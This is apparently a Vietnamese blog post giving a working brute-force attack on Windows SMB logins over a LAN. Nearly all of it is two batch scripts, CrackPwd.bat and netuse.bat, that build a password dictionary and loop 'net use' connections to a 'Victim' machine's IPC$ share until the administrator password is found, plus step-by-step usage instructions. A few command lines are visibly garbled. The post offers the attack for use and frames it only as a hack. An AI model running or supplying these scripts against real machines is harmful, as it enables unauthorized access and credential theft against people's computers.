27 thg 3, 2008

Crack Password từ xa bằng phương pháp Route force

Mình đã đọc bài viết “Hacking PC resource share – hướng đi và giải pháp” trên HVA, trong bài viết có gợi ý đến một cách crack password sử dụng lệnh net use để crack password trong mạng LAN. Tuy nhiên để chạy được chương trình này phải cần thêm chương trình nat, nat là gì? Mình đã thử search nhưng vẫn không cách nào lấy được chương trình nat này. Thế là mình bắt tay vào tìm hiểu và viết chương trình crack password bằng phương pháp Brute force mà không dùng đến chương trình nat đã nói ở trên. Mời bạn đọc.

Nguyên lý và phương pháp thực hiện crack
Chương trình dựa trên nguyên lý Brute force.
Chương trình CrackPwd gồm 3 phần chính:
- Tạo từ điển password
- Thực hiện net use đến máy Victim
- Nhận phản hồi kết nối thành công hay thất bại.

Tạo từ điển
Chương trình dic.exe tạo ra file dic.txt liệt kê tất cả các khả năng xảy ra có thể của password theo yêu cầu của người sử dụng. Để gọi chương cần 6 tham truyền.

dic.exe
x1: số ký tự nhỏ nhất của password
x2: số ký tự lớn nhất của password
x3: là 1 nếu chuỗi password có chứa số từ 0-9, ngược lại là 0
x4: là 1 nếu chuỗi password có chứa chữ thường từ a-z, ngược lại là 0
x5: là 1 nếu chuỗi password có chứa chữ hoa từ A-Z, ngược lại là 0
x6: là 1 nếu chuỗi password có chứa các ký tự phức tạp, ngược lại là 0

VD: Để tạo từ điển password có ít nhất 2 ký tự và nhiều nhất là 4 ký tự, password bao gồm số và chữ thường. Ta thực hiện gọi dic.exe như sau:
dic.exe 2 4 1 1 0 0

Thực hiện net use đến máy Victim
Câu lệnh net use sau đây cho phép tạo session kết nối với máy Victim

net use \\ipc$ (file://\\ipc$) /user:


Để tạo chương trình tự động thực hiện nạp password vào lệnh net use ta phải dùng lệnh for để thực hiện lấy từng password từ Từ điển dic.txt.


for /f %%i in (dic.txt) do net use \\ipc$ (file://\\ipc$) %%i /user:


Tuy nhiên trong chương trình của mình phải chỉnh sửa lại, thay vì gọi net use trực tiếp thì phải gọi file netuse.bat để file này thực hiện việc kiểm tra và kết thúc vòng lặp nếu tìm ra password.


for /f %%i in (dic.txt) do netuse.bat %%i

Nhận phản hồi kết nối thành công hay thất bại
Vấn đề cuối cùng là làm sao biết kết nối thành công trong hàng vô số lệnh net use tương ứng với các password khác nhau được gửi đến máy Victim. Trong các tập lệnh .bat hỗ trợ biến “error level” có giá trị từ 0 đến 255, nếu biến này bằng 0 nghĩa là thực hiện thành công, ngược lại nghĩa là không thành công.

If errorlevel 1 goto exit


Câu lệnh trên mô tả: nếu errolevel >1 thì nhảy đến exit (thực sự là không làm gì cả, thoát khỏi chương trình và trở lại thực hiện lệnh net use với password mới), ngược lại nếu errorlevel =0 thì sẽ thực hiện câu lệnh kế tiếp.

Chương trình mẫu crack password user administrator của máy có ip 192.168.1.1 . Dạng password là chuỗi từ 3 đến 4 ký tự hoàn toàn là số.

Nội dung file CrackPwd.bat
@echo off
del dic.txt
dic.exe 3 4 1 0 0 0
net use \\192.168.1.1\ipc$ /delete
for /f %%i in (dic.txt) do netuse.bat 192.168.1.1 administrator %%i

Nội dung file netuse.bat
@echo off
net use \\%1\ipc$ "%3" /user:"%2"
if errorlevel 1 goto exit
cls
echo.
echo Crack password successfully!
echo IP Address: %1
echo Username: %2
echo Password: %3
echo.
> \end.bat
\end.bat > NUL
:exit

Cách sử dụng chương trình:
- Chép 3 file CrackPwd.bat, netuse.bat và dic.exe vào cùng thư mục.
- Chỉnh sửa file CrackPwd.bat cho phù hợp với nhu cầu sử dụng.
- Vào Run gõ cmd. Chuyển về thư mực chứa 3 file trên. Gõ CrackPwd.bat.
Chú ý: Với file CrackPwd.bat, bạn cũng có thể tách riêng phần tạo từ điển, thêm password vào file dic.txt và crack password bằng cách thêm vào các lệnh “rem” tại các vị trí cần thiết.

Những hạn chế của chương trình
- Hạn chế lớn nhất của phương pháp Brute force chính là từ điển. Nếu password dài, từ điển sẽ lớn thì khả năng crack password sẽ vô cùng lâu. Để hạn chế điều này mình đã nghĩ ra ý tưởng nhưng chưa có thời gian để thực hiện. Bạn nào có khả năng lập trình VB tốt mình sẽ chia sẻ source tạo từ điển và cùng phát triển từ điển thông minh theo hướng như sau:
Giả sử bạn biết trong chuỗi password có chữ abc thì chỉ cần nhập vào format chuỗi là *abc*, hoặc *abc?. Nếu được như vậy thì từ điển sẽ nhỏ gọn và hiệu quả crack sẽ cao.
- Lệnh net use sẽ mất tác dụng nếu bạn disable NetBios.

1 nhận xét:

MCSE nói...

Điều tốt đẹp
cảm ơn MCSE